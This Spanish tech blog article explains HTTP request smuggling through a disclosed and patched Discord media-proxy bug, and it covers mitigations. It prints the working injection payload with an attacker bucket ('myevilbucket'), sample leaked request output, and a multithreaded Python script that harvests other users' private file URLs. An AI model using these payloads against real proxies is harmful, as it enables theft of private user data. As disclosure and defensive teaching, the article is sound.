Introducción: un espacio que destapó una grieta en Discord
⏱️ Lectura: 12 min
En octubre de 2022, un investigador con el alias tmctmt tecleó por accidente un espacio dentro de un enlace de adjunto en Discord y, en vez de ver la imagen, recibió un 502 Bad Gateway. Ese tropiezo, tan trivial como apretar una tecla de más, destapó una de las vulnerabilidades más elegantes e inquietantes reportadas en los últimos años: un HTTP desync en el proxy de medios de media.discordapp.net que permitía leer en tiempo real los archivos que los usuarios compartían, sin importar si iban por un canal público o por un mensaje privado entre dos amigos.
📑 En este artículo
- Introducción: un espacio que destapó una grieta en Discord
- Qué es un HTTP desync
- Cómo funciona: la plomería de HTTP explicada
- El caso Discord: un tropiezo de 3500 dólares
- Ejemplos prácticos: reproducir la lógica en laboratorio
- Casos de uso: por qué este bug importa fuera de Discord
- Ventajas y desventajas de las defensas actuales
- Preguntas frecuentes
- Referencias
La historia se hizo pública este abril de 2026, cuando el autor decidió documentarla en su blog personal. Discord pagó 3500 dólares por el reporte en su momento y corrigió el problema en cuestión de días, pero el caso condensa una lección enorme sobre lo frágil que puede ser la plomería detrás de las aplicaciones que usamos todos los días. En este artículo vamos a entender, paso a paso, qué es un HTTP desync, por qué un carácter puede partir en dos la conversación entre servidores y cómo protegerse.
La explicación está pensada para dos audiencias. Si nunca abriste un sniffer de red, vamos a usar analogías y diagramas para que el concepto quede claro. Si ya programás back-end, vas a encontrar código funcional y referencias a las técnicas relevantes para reproducir la idea en un laboratorio propio.
Qué es un HTTP desync
Un HTTP desync, también conocido como HTTP request smuggling, es un ataque que explota la ambigüedad sobre dónde termina una petición HTTP y dónde empieza la siguiente cuando dos servidores en cadena interpretan el flujo de bytes de forma distinta. El frontal (por ejemplo, un proxy o un balanceador de carga) piensa que recibió una sola petición; el backend piensa que recibió dos, o cree que el cuerpo es más largo o más corto de lo real. Esa discordancia —ese desync— permite al atacante inyectar una petición fantasma que queda mezclada con el tráfico legítimo de otros usuarios.
Para entenderlo sin jerga, imaginá un restaurante con un mesero (el proxy) y una cocina (el backend). El cliente le dicta tres pedidos al mesero, pero en la última oración deja una trampa de puntuación que hace que el mesero escuche tres pedidos mientras la cocina escucha cuatro. El pedido fantasma se mete en la cola y la siguiente mesa termina recibiendo algo que nadie ordenó. En el mundo HTTP, ese pedido fantasma puede ser una instrucción para robar cabeceras, redirigir respuestas o, como veremos en el caso de Discord, guardar el tráfico de otras personas dentro de un archivo que controlás vos.
💭 Clave: el HTTP desync no rompe el cifrado ni la autenticación. Rompe algo mucho más sutil: la frontera entre “mi petición” y “la de al lado”. Esa frontera se mantiene con reglas del RFC 7230 que, cuando dos servidores interpretan distinto, se convierten en una puerta abierta.
Cómo funciona: la plomería de HTTP explicada
Keep-alive y pool de conexiones
La mayoría de los servidores modernos reutilizan conexiones TCP para ahorrar el costo del TLS handshake en cada petición. Cuando el proxy de Discord abre una conexión con Google Cloud Storage, la mantiene abierta en un pool y la va prestando a cada nueva petición entrante. Es eficiente, pero introduce un riesgo: si una petición deja el estado del socket “sucio”, la siguiente que tome esa conexión hereda los restos.
Content-Length, Transfer-Encoding y caracteres de control
Una petición HTTP/1.1 delimita su cuerpo con dos campos principales: Content-Length, que dice cuántos bytes esperar, y Transfer-Encoding: chunked, que divide el cuerpo en fragmentos. El desync clásico mezcla ambos para confundir a los intermediarios. La variante que sufrió Discord fue distinta: el proxy aceptaba saltos de línea sin escapar dentro de la URL, lo que permitió inyectar cabeceras y una segunda petición completa en lo que parecía un GET inocente.
El pool compartido: el detalle que convierte el bug en espionaje
Discord reutilizaba las conexiones hacia GCP entre distintos usuarios. Esa decisión, normal en cualquier arquitectura de alto tráfico, significa que la petición que vos inyectás hoy puede terminar viviendo en la conexión que va a atender mañana a otra persona. Si sabés explotar esa ventana de tiempo, convertís un bug de inyección en un canal de exfiltración masivo. Acá es donde el HTTP desync deja de ser un error curioso y se convierte en un arma.
El caso Discord: un tropiezo de 3500 dólares
El primer síntoma
tmctmt notó que al pegar un espacio codificado dentro de la ruta de un adjunto, el servidor devolvía 502. Una petición legítima se vería así:
GET /attachments/a%20b HTTP/1.1
Host: media.discordapp.net
El proxy, al reescribirla hacia GCP, decodificaba el %20 sin volver a escaparlo, generando una petición upstream inválida:
GET /attachments/a b HTTP/1.1
Host: discord.storage.googleapis.com
Ese espacio en el medio del path es exactamente el delimitador que HTTP usa para separar el método, la URL y la versión. Para el backend, la línea era basura y cerraba la conexión. Primer indicio: el proxy no sanitiza caracteres de control.
De 502 a inyección de cabeceras
El siguiente experimento consistió en enviar %0A (un line feed) en la ruta. Eso le permitió al atacante agregar cabeceras arbitrarias a la petición reescrita, como un Host alternativo para que el proxy pidiera archivos de buckets distintos al oficial de Discord. Con esto ya se tenía header injection, pero el verdadero salto vino al combinarlo con el pool de conexiones.
El salto al desync: PUT con Content-Length mentiroso
El ataque final inyecta dos peticiones en la misma línea: un GET señuelo y un PUT hacia un bucket del atacante con un Content-Length sobredimensionado. GCP espera 250 bytes de cuerpo pero solo recibe unos 150. Como la conexión queda hambrienta, la siguiente petición que tome esa conexión —de otro usuario cualquiera— es interpretada como continuación del cuerpo del PUT y se guarda dentro del archivo del atacante.
GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net
Al descargar request.txt desde su bucket, el atacante veía la URL del siguiente usuario que accedió a un adjunto:
HTTP/1.1
User-Agent: Mozilla/5.0 (...)
Host: discord.storage.googleapis.com
GET /attachments/10032788*********/101624143721*******/image.jpg HTTP/1.1
Cada línea GET /attachments/... era un archivo privado que otro usuario estaba viendo en ese momento, con su URL completa que permitía descargarlo. El atacante no necesitaba estar en el mismo canal, no necesitaba ser amigo: simplemente espiaba el tráfico global de la plataforma. El HTTP desync le había regalado una ventana directa a los mensajes privados de millones de personas.
Ejemplos prácticos: reproducir la lógica en laboratorio
Nunca intentes esto contra un servicio real que no sea tuyo; es un delito en prácticamente todas las jurisdicciones de LATAM. Lo que sigue es una simulación controlada sobre tu propio servidor. El código original del investigador, adaptado para Python 3, lanzaba varios hilos en paralelo:
from googleutils import generate_signed_url
from urllib.parse import urlsplit
from threading import Thread
import requests
CONCURRENCIA = 10
CONTENT_LENGTH = 250
BUCKET = "mi-bucket-de-pruebas"
vistos = set()
def exfiltrar(read_url, write_url):
s = requests.Session()
exploit = (
"https://media.ejemplo.local/attachments/%20HTTP/1.1%0a"
"Host:storage.cloud.google.com%0a%0a"
f"PUT%20/{urlsplit(write_url).path}%20HTTP/1.1%0a"
f"Host:{urlsplit(write_url).hostname}%0a"
f"Content-Length:{CONTENT_LENGTH}%0a%0a"
)
while True:
s.get(exploit)
raw = s.get(read_url).text
if "GET " in raw:
url = raw.split("GET ")[1].split(" ")[0]
if url not in vistos:
vistos.add(url)
print(url)
for i in range(CONCURRENCIA):
r = generate_signed_url("creds.json", BUCKET, f"req{i}.txt")
w = generate_signed_url("creds.json", BUCKET, f"req{i}.txt", http_method="PUT")
Thread(target=exfiltrar, args=(r, w), daemon=True).start()
La instalación del entorno es idéntica en los sistemas operativos más usados para desarrollo en LATAM:
# Windows (PowerShell)
py -m venv .venv
.venv\Scripts\Activate.ps1
pip install requests google-cloud-storage
# macOS / Linux (bash o zsh)
python3 -m venv .venv
source .venv/bin/activate
pip install requests google-cloud-storage
⚠️ Ojo: este código está acá para entender el patrón. Ejecutarlo contra una infraestructura ajena sin autorización escrita es delito tipificado en Argentina (art. 153 bis CP), México (art. 211 bis 1), Colombia (Ley 1273) y prácticamente todos los países de la región.
Diagrama del flujo del ataque
sequenceDiagram
participant A as Atacante
participant P as Proxy
participant G as GCP
participant V as Victima
A->>P: GET con PUT inyectado
P->>G: GET senuelo
P->>G: PUT con Content-Length inflado
V->>P: GET archivo privado
P->>G: El cuerpo del PUT absorbe la peticion
A->>G: GET del archivo del atacante
G-->>A: Respuesta con URL filtrada
Casos de uso: por qué este bug importa fuera de Discord
El HTTP desync no es exclusivo de Discord. Investigadores como James Kettle (PortSwigger) han documentado variantes en Akamai, AWS, Cloudflare y otros proveedores masivos. Los casos de uso ofensivos incluyen:
- Secuestro de sesión — inyectar una petición que robe la cookie de autenticación del próximo usuario en el pool.
- Envenenamiento de caché — forzar que el proxy almacene una respuesta maliciosa bajo una URL legítima.
- Exfiltración masiva — como en Discord, guardar tráfico ajeno dentro de un archivo controlado.
- Bypass de controles de seguridad — saltar WAFs o reglas de autorización que se aplican solo en el frontal.
- Spoofing de respuestas — en teoría, devolverle una respuesta falsa al usuario legítimo.
Ventajas y desventajas de las defensas actuales
No hay una sola bala de plata contra el HTTP desync, pero existe un catálogo de mitigaciones que combinadas reducen enormemente el riesgo. Revisemos cada una con su contracara.
HTTP/2 end-to-end
Ventaja: HTTP/2 usa un protocolo binario con delimitación explícita de frames, eliminando casi por completo la ambigüedad de dónde termina una petición. Desventaja: si tu proxy habla HTTP/2 con el cliente pero HTTP/1.1 con el backend, el problema vuelve. La traducción es donde nacen los fallos.
Validación estricta de caracteres de control
Ventaja: rechazar \r, \n, espacios y caracteres no imprimibles en cabeceras y URLs corta muchos vectores conocidos. Desventaja: exige auditar cada librería del stack. El caso Discord sugiere que probablemente usaban sockets crudos sin una validación central.
Aislamiento del pool de conexiones
Ventaja: que cada cliente tenga su propio pool elimina la exfiltración cruzada. Desventaja: cuesta latencia y recursos. Pocas plataformas con tráfico masivo lo aceptan.
Web Application Firewalls modernos
Ventaja: Cloudflare, Akamai y AWS tienen reglas específicas anti-desync. Desventaja: llegan tarde a bugs nuevos y los investigadores ya demostraron bypasses públicos en cada uno.
📖 Resumen en Telegram: Ver resumen
Preguntas frecuentes
¿Puedo ejecutar un HTTP desync contra cualquier sitio?
No. El ataque depende de una discordancia específica entre el frontal y el backend, y de que el frontal acepte caracteres de control. La mayoría de los servicios modernos ya validan esto, y los que no, son blancos ilegales si no te pertenecen.
¿Discord está seguro hoy?
El bug fue reportado en octubre de 2022 y resuelto a los pocos días. Discord pagó 3500 dólares por el hallazgo. El detalle técnico se hizo público en abril de 2026, después de confirmar que el parche sigue vigente.
¿Qué diferencia hay entre HTTP desync y HTTP smuggling?
Son prácticamente sinónimos. Smuggling enfatiza que estás contrabandeando una petición dentro de otra; desync enfatiza que el frontal y el backend quedan desincronizados. Los académicos y PortSwigger los usan de forma intercambiable.
¿Sirve usar HTTPS para mitigarlo?
No. El problema no está en la capa de transporte sino en la interpretación de HTTP. TLS protege los bytes en tránsito, pero una vez descifrados, el proxy y el backend siguen leyéndolos de forma distinta.
¿Cómo detecto HTTP desync en mi propia app?
Usá herramientas como HTTP Request Smuggler de Burp Suite, que ya incluye las variantes CL.TE, TE.CL, TE.TE y CL.0. También revisá que tu proxy aplique X-Forwarded-For con reglas estrictas y que rechace cabeceras duplicadas.
¿El bug de Discord afectó a usuarios de LATAM?
Potencialmente sí: Discord es global y el proxy servía a todos los continentes. Cualquier archivo compartido en servidores, DMs o grupos durante la ventana de exposición pudo ser visto por un atacante con este exploit.
Referencias
- tmctmt — HTTP desync in Discord’s media proxy — reporte original con timeline y código.
- MDN — HTTP Messages — referencia oficial sobre la estructura de peticiones y respuestas HTTP/1.1.
- PortSwigger HTTP Request Smuggler — extensión open source de Burp que automatiza la detección de variantes de desync.
- Wikipedia — HTTP request smuggling — panorama académico de la técnica y su historia.
📱 ¿Te gusta este contenido? Únete a nuestro canal de Telegram @programacion donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.
0 Comentarios